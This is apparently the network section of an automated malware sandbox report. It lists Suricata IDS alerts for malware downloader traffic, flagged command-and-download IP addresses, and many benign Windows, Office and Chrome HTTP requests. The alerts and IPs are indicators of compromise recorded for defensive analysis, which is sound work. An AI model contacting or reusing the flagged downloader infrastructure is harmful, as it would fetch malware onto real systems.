Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49772 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49809 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49856 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49877 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49872 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49880 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49888 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49903 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49902 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49894 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49921 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49922 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49923 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49933 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49910 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49951 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49946 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49955 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49967 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49962 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49982 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49993 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50001 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50006 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50019 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50026 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50048 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50192 -> 52.182.143.212:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50223 -> 20.42.73.29:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50237 -> 52.168.112.67:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pHarSwZcwhL4vrP&MD=ZoSHVHXf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
